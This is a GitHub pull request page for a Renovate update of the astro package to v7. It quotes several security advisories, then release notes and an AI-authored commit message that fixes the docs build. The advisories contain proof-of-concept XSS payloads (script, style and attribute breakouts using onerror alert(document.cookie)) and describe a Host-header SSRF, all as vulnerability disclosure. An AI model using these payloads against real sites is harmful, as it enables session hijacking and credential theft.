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Update dependency astro to v7 [SECURITY] - #299

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Aug 17, 2026
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Update dependency astro to v7 [SECURITY]#299
NiklasRosenstein merged 3 commits into
developfrom
renovate/npm-astro-vulnerability

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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
astro (source) ^5.16.0 → ^7.0.0 age confidence

Astro: XSS in define:vars via incomplete </script> tag sanitization

CVE-2026-41067 / GHSA-j687-52p2-xcff

More information

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars=>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Astro: Server island encrypted parameters vulnerable to cross-component replay

CVE-2026-45028 / GHSA-xr5h-phrj-8vxv

More information

Details

Impact

Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.

Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:

  • The application uses server islands
  • Two different server island components share the same key name for a prop and a slot
  • An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)

These conditions are very unlikely to occur in real-world production applications.

Patches

This has been patched in astro@6.1.10.

The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.

References

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Astro: Reflected XSS via unescaped slot name

CVE-2026-50146 / GHSA-8hv8-536x-4wqp

More information

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@&#8203;astrojs/react';
import node from '@&#8203;astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

image

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Astro: Host header SSRF in prerendered error page fetch

CVE-2026-54299 / GHSA-2pvr-wf23-7pc7

More information

Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

  1. Have a prerendered 404 or 500 page
  2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected:

  • @astrojs/node >= 9.5.4 (reads error pages from disk)
  • @astrojs/cloudflare (uses the ASSETS binding)
  • The dev server (renders error pages in-process)
How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Astro: XSS via Unescaped Attribute Names in Spread Props

CVE-2026-54298 / GHSA-jrpj-wcv7-9fh9

More information

Details

Summary

The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.

Details

The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:

export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
    if (value == null) {
        return '';
    }
    
    return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); //  key interpolated not escaped
}

This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:

for (const [key, value] of Object.entries(values)) {
    output += addAttribute(value, key, true, _name);
}

The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.

Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.

POC

Create an SSR Astro page (src/pages/index.astro):

---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
  <h1>Hello</h1>
  <div {...props}>Move mouse here</div>
</body>
</html>

Enable SSR in astro.config.mjs (for URL based demo):

export default defineConfig({
  output: 'server'
});

Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.

Start the dev server and visit:

http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}

URL encoded:

http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D

View the HTML source. The output contains:

<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>

The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.

Captura de tela 2026-06-02 005906
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.

The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Astro: Reflected XSS via unescaped View Transition animation properties

CVE-2026-73422 / GHSA-4g3v-8h47-v7g6

More information

Details

Summary

Astro's server-side View Transition CSS generator interpolates animation properties into an inline <style> element without escaping them for the CSS and HTML contexts.

An attacker-controlled value passed to an animation property such as duration can contain a </style> sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.

This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated <style> element rather than an unescaped slot name in a hydration template.

Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.

Details

packages/astro/src/runtime/server/transition.ts

The generated stylesheet is wrapped in a <style> element and marked as HTML-safe:

const css = sheet.toString();
result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));

Animation properties are added to the stylesheet without escaping:

if (anim.duration) {
  addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));
}

For string values, toTimeValue() returns the input unchanged:

export function toTimeValue(num: number | string) {
  return typeof num === 'number' ? num + 'ms' : num;
}

As a result, a duration value containing </style> can escape from the generated style element.

Other TransitionAnimation properties, including easing, direction, delay, fillMode, and name, are serialized by the same animation builder. The following PoC only relies on the official fade() helper and its duration option.

PoC

Using:

  • astro@7.0.9
  • @astrojs/node@11.0.2
astro.config.mjs
import node from '@&#8203;astrojs/node';
import { defineConfig } from 'astro/config';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro
---
import { fade } from 'astro:transitions';

const duration = Astro.url.searchParams.get('duration') ?? '300ms';
---

<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>PoC</title>
  </head>
  <body>
    <div transition:animate={fade({ duration })}>
      Animated content
    </div>
  </body>
</html>
Payload:

open:

http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--

The browser interprets </style> as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.

image
Impact

An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.

The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:

  • projects configured with output: "server";
  • pages using export const prerender = false;
  • other server-side data flows that pass attacker-controlled values into a View Transition animation definition.

Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.

Suggested Fix

Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.

Additionally, content inserted into a raw <style> element must not be able to contain an HTML end-tag sequence such as </style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed to markHTMLString().

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Astro: Cross-site scripting via unescaped transition:* directive values on hydrated islands

CVE-2026-59727 / GHSA-7pw4-f3q4-r2p2

More information

Details

Summary

When a transition:persist, transition:scope, or transition:persist-props directive is applied to a client-hydrated (client:*) component, Astro copied the directive value onto the rendered <astro-island> element without HTML-escaping it. If a developer reflects attacker-controlled input into one of these directives, an attacker can break out of the attribute and inject arbitrary HTML/JavaScript into the server-rendered output, resulting in reflected cross-site scripting (XSS).

Severity

Although a generic reflected XSS scores in the Medium range, exploitation here requires the application developer to have written a non-idiomatic pattern — passing untrusted, request-derived input directly into a transition directive. Astro applications that do not route untrusted input into these directives are unaffected. This mitigating precondition places the real-world severity at Low.

Details

In generateHydrateScript() (packages/astro/src/runtime/server/hydration.ts), every island property is HTML-escaped before serialization — the attrs, props, and opts assignments all pass through escapeHTML(). The transition directives, however, were copied verbatim:

transitionDirectivesToCopyOnIsland.forEach((name) => {
  if (typeof props[name] !== 'undefined') {
    island.props[name] = props[name]; // not escaped
  }
});

The <astro-island> element is serialized via renderElement('astro-island', island, false) with shouldEscape=false, and toAttributeString() returns the value unchanged in that mode. As a result there is no downstream re-escaping, and the raw directive value reaches the HTML response. This is the same output sink previously addressed for slot names in GHSA-8hv8-536x-4wqp.

The affected directives are:

  • data-astro-transition-scope (transition:scope)
  • data-astro-transition-persist (transition:persist)
  • data-astro-transition-persist-props (transition:persist-props)

Note that transition:persist is typed boolean | string, so passing a string value is a supported use of the API.

Proof of Concept

A component that reflects a query parameter into a transition directive:

---
const persist = Astro.url.searchParams.get('persist') ?? 'default';
---
<Island client:load transition:persist={persist} />

Request:

https://example.com/?persist="><img src=x onerror=alert(document.domain)>

Rendered output (before the fix):

<astro-island … data-astro-transition-persist=""><img src=x onerror=alert(document.domain)>></astro-island>

The " closes the attribute and the injected <img onerror=…> executes in the victim's browser.

Impact

Reflected XSS. An attacker who can induce a victim to visit a crafted URL can execute arbitrary script in the victim's session on the origin, subject to the requirement that the target application reflects untrusted input into one of the affected transition directives.

Affected Versions

astro >= 3.10.0, < 7.0.4 (introduced in 3.10.0, PR #​7861).

Patched Versions

astro >= 7.0.4. Fixed in PR #​17212 by HTML-escaping transition directive values before they are rendered onto the island element.

Workarounds

Do not pass untrusted or request-derived input into transition:persist, transition:scope, or transition:persist-props. If such input is required, HTML-escape or strictly validate it before passing it to the directive. Upgrading to astro@7.0.4 or later removes the need for manual mitigation.

Credits

Reported by @​jlgore.

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Astro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298)

CVE-2026-59729 / GHSA-f48w-9m4c-m7f5

More information

Details

Summary

The fix for CVE-2026-54298 (GHSA-jrpj-wcv7-9fh9) added an INVALID_ATTR_NAME_CHAR guard to addAttribute() so that spread-prop attribute names containing "' >/= or whitespace are dropped. A second attribute-rendering path, renderHTMLElement() in packages/astro/src/runtime/server/render/dom.ts, has its own inline attribute loop that does not go through addAttribute() and was not updated. It interpolates the attribute name unescaped and only escapes the value, so untrusted prop keys spread onto a native-HTMLElement-subclass component can still break out of the attribute context, resulting in XSS.

Details

renderHTMLElement builds attributes directly:

for (const attr in props) {
  attrHTML += ` ${attr}="${toAttributeString(await props[attr])}"`;
}

The attribute name (attr) is interpolated raw; only the value is escaped via toAttributeString. By contrast, the hardened addAttribute in util.ts rejects invalid names:

if (INVALID_ATTR_NAME_CHAR.test(key)) { return ''; } // /[\s"'>/=]/

renderHTMLElement is reached from component.ts when the component is a native HTMLElement subclass:

if (!renderer && typeof HTMLElement === 'function' && componentIsHTMLElement(Component)) {
  const output = await renderHTMLElement(result, Component, _props, slots);
}

where _props carries spread props verbatim.

Reachability

The branch only runs when typeof HTMLElement === 'function' at SSR time. In default Node SSR HTMLElement is undefined, so the branch is dead. It becomes reachable when the SSR runtime exposes a global HTMLElement (Deno, Bun with a DOM shim, or jsdom/happy-dom in Node) and a class extending HTMLElement is used directly as an Astro component that receives untrusted-keyed spread props.

Proof of Concept

Given malicious spread props:

const maliciousProps = {
  'onmouseover=alert(document.domain) x': 'y',
  'x><script>alert(1)</script>': 'z',
};
  • addAttribute (post-fix) → <my-el></my-el> (key stripped — safe)
  • renderHTMLElement → <my-el onmouseover=alert(document.domain) x="y" x><script>alert(1)</script>="z"></my-el> (handler + <script> injected — XSS)

Equivalent Astro template, served by an SSR runtime that defines a global HTMLElement:

---
import MyElement from '../MyElement.js'; // class MyElement extends HTMLElement {}
const userInput = Astro.url.searchParams;  // untrusted keys
---
<MyElement {...Object.fromEntries(userInput)} />
Impact

Cross-site scripting (CWE-79) via attribute-name breakout — the same vulnerability class as CVE-2026-54298, in a code path its fix did not cover. An attacker who controls the keys of an object spread onto a native-HTMLElement-subclass component can inject arbitrary event-handler attributes or sibling elements (including <script>) into the SSR output. Reachability is constrained by the runtime and component preconditions described above.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

withastro/astro (astro)

v7.2.2

Compare Source

Patch Changes

  • #​17611 9bc3207 Thanks @​thelazylamaGit! - Fixes component styles rendered from content entries remaining stale until a second save when an adapter uses Astro's fallback development environment

  • #​17634 2267eee Thanks @​astrobot-houston! - Fixes incremental builds dropping optimized images for cached pages when using a collectStaticImages prerenderer (e.g. @astrojs/cloudflare with compile-time image optimization)

  • #​17650 4cdf128 Thanks @​astrobot-houston! - Fixes intermittent ImageNotFound errors during build on projects with many images. The build now limits concurrent image file reads to avoid exhausting OS file descriptors (EMFILE) and retries transient I/O errors with backoff. Non-transient errors are no longer silently swallowed.

  • #​17683 2378221 Thanks @​astrobot-houston! - Fixes prerenderConflictBehavior not applying to content collection duplicate ID warnings in the glob() and file() loaders. Setting it to 'error' now throws during content sync, and 'ignore' suppresses the warning.

  • #​17659 90c6ea4 Thanks @​astrobot-houston! - Fixes the Fonts API breaking experimental.incrementalBuild caching by embedding a build-local, randomly-assigned server port in generated code used for the dependency hash

  • #​17630 fd1d9ee Thanks @​ericclemmons! - Fixes incremental builds becoming prohibitively slow for sites with many pages or content entries that share a large dependency graph.

  • #​17690 93beecc Thanks @​NgoQuocViet2001! - Prevents files in directories whose names start with pages from being treated as page routes

  • #​17671 09f0dc7 Thanks @​tarikermis! - Fixes astro dev refusing to start after a Docker container restart when an unrelated process reuses the PID from a persisted lock file. Astro now checks the process command across platforms, so stale lock files are cleaned up and --force does not signal the unrelated process.

v7.2.1

Compare Source

Patch Changes

  • #​17612 7133730 Thanks @​thelazylamaGit! - Fixes CSS hot module replacement after navigating between pages with ClientRouter

  • #​17628 4ada248 Thanks @​astrobot-houston! - Fixes a CSP violation when using both security.csp and experimental.clientPrerender with data-astro-prefetch links. The dynamically injected <script type="speculationrules"> now uses a static "source": "document" approach with a CSS selector, producing a deterministic payload that is hashed and included in the CSP script-src directive at build time.

  • #​17605 89e4647 Thanks @​ashleigh-yeoman! - Fixes middleware HMR not responding to changes in imported modules. Previously, only direct edits to the middleware file would trigger a reload.

  • #​17582 bd2c1a5 Thanks @​astrobot-houston! - Fixes a regression where content collection reference() fields silently accepted entry IDs that don't exist, such as an ID that doesn't match a loader's slugified version of it. Astro now logs an error for references that point to a missing entry after all loaders finish syncing.

  • #​17661 97b0cc7 Thanks @​ArmandPhilippot! - Improves Markdown options documentation with links to the Markdown guide and official processors.

  • #​17349 4328c73 Thanks @​astrobot-houston! - Fixes an issue where requests handled by the dev prerender environment (e.g. /_image with @astrojs/cloudflare's prerenderEnvironment: 'node') returned a 500 when a prerendered catch-all route existed, because non-prerendered route modules were imported in an environment where their runtime-specific APIs are unavailable

  • #​17603 722eed6 Thanks @​astrobot-houston! - Fixes <video> and <audio> elements being non-functional after navigating via view transitions (<ClientRouter />)

  • #​17616 3a890d2 Thanks @​lazerg! - Fixes experimental.incrementalBuild re-rendering unchanged routes that import more than one asset. The route's dependency hash depended on the order the assets finished building, so two builds of identical sources could produce different hashes. The hash is now based on the file name each asset resolves to.

  • #​17547 fba468c Thanks @​dmgawel! - Improves getCollection() and getEntry() performance for entries without local image references

  • #​17602 16e0d9d Thanks @​astrobot-houston! - Fixes a build error caused by hash collisions in generated content collection image import identifiers

v7.2.0

Compare Source

Minor Changes

  • #​17174 0224a3a Thanks @​matthewp! - Adds the astro preview --background flag to start preview servers as background processes.

    This makes preview servers easier to manage from scripts and AI coding agents because the command returns after the server is ready instead of keeping the terminal attached to the long-running process.

    astro preview --background

    When a preview server is running in the background, you can inspect or stop it with new astro preview subcommands:

    astro preview status
astro preview logs
astro preview logs --follow
astro preview stop

    If Astro detects that astro preview is being run by an AI coding agent, background mode is enabled automatically. This matches the existing behavior for astro dev, allowing agents to continue working after the preview server starts while still receiving the server URL and process ID.

    To opt out of automatic background mode for preview servers, set ASTRO_PREVIEW_BACKGROUND=0 before running astro preview.

  • #​17532 7f94895 Thanks @​florian-lefebvre! - Adds support for paths relative to your project root in logger.entrypoint

    Previously, pointing logger.entrypoint at a custom log handler living in your own project required building an absolute URL. You can now write the path directly:

    // astro.config.mjs
import { defineConfig } from 'astro/config';

export default defineConfig({
  logger: {
-    entrypoint: new URL('./src/logger.js', import.meta.url),
+    entrypoint: './src/logger.js',
  },
});

    Paths starting with ./ or ../ are resolved against your project root. Package specifiers such as @org/astro-logger, absolute paths, and URL entrypoints keep working as before.

  • #​17084 961bbe5 Thanks @​matthewp! - Widens the AstroPrerenderer render() return type so prerenderers can report incremental-build metadata

    A prerenderer's render() may now resolve to either a Response (as before) or a PrerenderResult object that pairs the response with the content entries and optimized-image transforms the page resolved. This lets prerenderers that render out of process (for example, in an adapter's runtime like workerd) report those dependencies back to the build, so incremental static builds can track and replay them for skipped pages.

    import type { AstroPrerenderer, PrerenderResult } from 'astro';

const prerenderer: AstroPrerenderer = {
  name: 'my-adapter:prerenderer',
  getStaticPaths,
  async render(request, { routeData }): Promise<PrerenderResult> {
    const { response, metadata } = await renderInRuntime(request, routeData);
    return { response, metadata };
  },
};

    This is a non-breaking widening: prerenderers that return a bare Response continue to work unchanged, and in-process prerenderers can keep returning a Response since the build collects their metadata directly.

  • #​16871 90c98ae Thanks @​adamchal! - Adds session: false in astro.config to opt out of session support. Projects that do not set session: false see no behavior change.

    import { defineConfig } from 'astro/config';

export default defineConfig({
  session: false,
});

    The session runtime and dependencies (unstorage) are now tree-shaken out of the SSR bundle for any project where no session driver is wired via:

    • session: false
    • no session config at all
    • a session config without a driver

    Useful for serverless/edge runtimes where cold-start parse time is sensitive.

  • #​17084 961bbe5 Thanks @​matthewp! - Adds experimental support for incremental static builds with experimental.incrementalBuild.

    When enabled, Astro can skip regenerating static pages from dynamic routes when both the page's module dependencies and its data cache key are unchanged from the previous build. This currently applies to pages returned from getStaticPaths() that include a cacheKey.

    // astro.config.mjs
import { defineConfig } from 'astro/config';

export default defineConfig({
  experimental: {
    incrementalBuild: true,
  },
});

    Return a cacheKey for each generated page from getStaticPaths():

    ---
export async function getStaticPaths() {
  const posts = await fetchPosts();

  return posts.map((post) => ({
    params: { slug: post.slug },
    props: { post },
    cacheKey: post.digest,
  }));
}
---

    For incremental builds to skip rendering in CI, Astro's cache directory must be preserved between builds. Astro empties the output directory on each build and restores skipped pages from the cache directory, so only that directory needs to persist. For the default config, cache and restore node_modules/.astro/ before running astro build.

    See the experimental incremental static builds documentation for more information.

  • #​17084 961bbe5 Thanks @​matthewp! - Adds the optional digest property to content collection entries.

    Loaders can provide an opaque digest value that changes when an entry changes. This is now reflected in the CollectionEntry type returned by getCollection() and getEntry(), making it easier to detect content changes without re-hashing large entry bodies.

    ---
import { getCollection } from 'astro:content';

const posts = await getCollection('blog');

for (const post of posts) {
  console.log(post.digest);
}
---

    The property is optional because not every loader provides a digest. See incremental static builds for how digest can be used as a cacheKey.

Patch Changes

  • #​17534 5a5337e Thanks @​florian-lefebvre! - Improves logger.entrypoint reference docs

  • #​17529 d52a787 Thanks @​QVinto! - Fixes astro dev crashing with Invalid URL when --host is set to a specific non-loopback address

    Vite only reports a local URL for loopback hosts. When the dev server was started with --host <custom-address> bound to a specific non-loopback address (a LAN or Tailscale IP, for example), the URL was reported under network and local was empty, so writing the dev lock file threw Invalid URL and killed a server that had already started successfully.

    The lock file URL now falls back to the network URL, and a server that exposes no URL at all is left untracked rather than being taken down by lock file bookkeeping.

  • #​17566 296248c Thanks @​astrobot-houston! - Fixes fontProviders.googleicons() returning the full icon font (~3.9MB) instead of only the requested glyphs when multiple experimental.glyphs are specified

  • #​17560 ef45de1 Thanks @​astrobot-houston! - Fixes Astro.url.pathname for non-index pages when using build.format: 'preserve'. Previously, a page like src/pages/about-me.astro would output to dist/about-me.html but Astro.url.pathname would incorrectly return /about-me/ instead of /about-me.html.

  • #​17573 0089f83 Thanks @​astrobot-houston! - Fixes a Content Layer build crash that could occur when another dependency causes an older version of neotraverse to be hoisted to the project root

  • #​17571 116f700 Thanks @​astrobot-houston! - Fixes cookies set via Astro.cookies.set() inside a custom 404.astro or 500.astro error page being silently dropped from the final response

  • #​17579 3ea55ce Thanks @​bluwy! - Supports the devEngines field in package.json when detecting the package manager for install commands

  • #​17422 e4e2037 Thanks @​jiwonyoon-dev! - Fixes popover being rendered as popover="true"/popover="false" on custom elements (tag names containing a hyphen). Per the Popover API, the attribute only accepts "auto", "manual", or being absent, so boolean values are now always rendered as a bare popover attribute (or omitted), regardless of the tag name.

v7.1.6

Compare Source

Patch Changes

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@renovate-rosenstein-app renovate-rosenstein-app Bot changed the title fix(deps): update dependency astro to v6 [security] Update dependency astro to v6 [SECURITY] May 23, 2026
@renovate-rosenstein-app
renovate-rosenstein-app Bot force-pushed the renovate/npm-astro-vulnerability branch from 5d2d558 to d1890dc Compare June 23, 2026 01:37
@renovate-rosenstein-app renovate-rosenstein-app Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v7 [SECURITY] Jun 23, 2026
claude added 2 commits August 17, 2026 13:09
@claude
Merge branch 'develop' into renovate/npm-astro-vulnerability
2dc72a3
@claude
Make the docs sites build on Astro 7
ded8251 
Starlight 0.36 pins `astro@^5.5.0`, so raising astro to ^7 left the workspace
lockfile with astro 7 hoisted under docs/engineering while the shared
docs/node_modules still held the astro-5 dependency graph — @astrojs/mdx then
failed to resolve `astro` at all and `astro check` could not load the config.

Raise @astrojs/starlight to ^0.41 (peer `astro@^7.0.2`) in both sites and
regenerate docs/package-lock.json from scratch so one consistent astro 7 tree
is installed.

Starlight 0.39 also removed labelled autogenerated sidebar groups, so the
operator docs' "Architecture Decisions" group now wraps its `autogenerate`
config in an `items` array.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_016TvQmsfxHdCDUB2vYrGryJ
@github-actions

github-actions Bot commented Aug 17, 2026 •
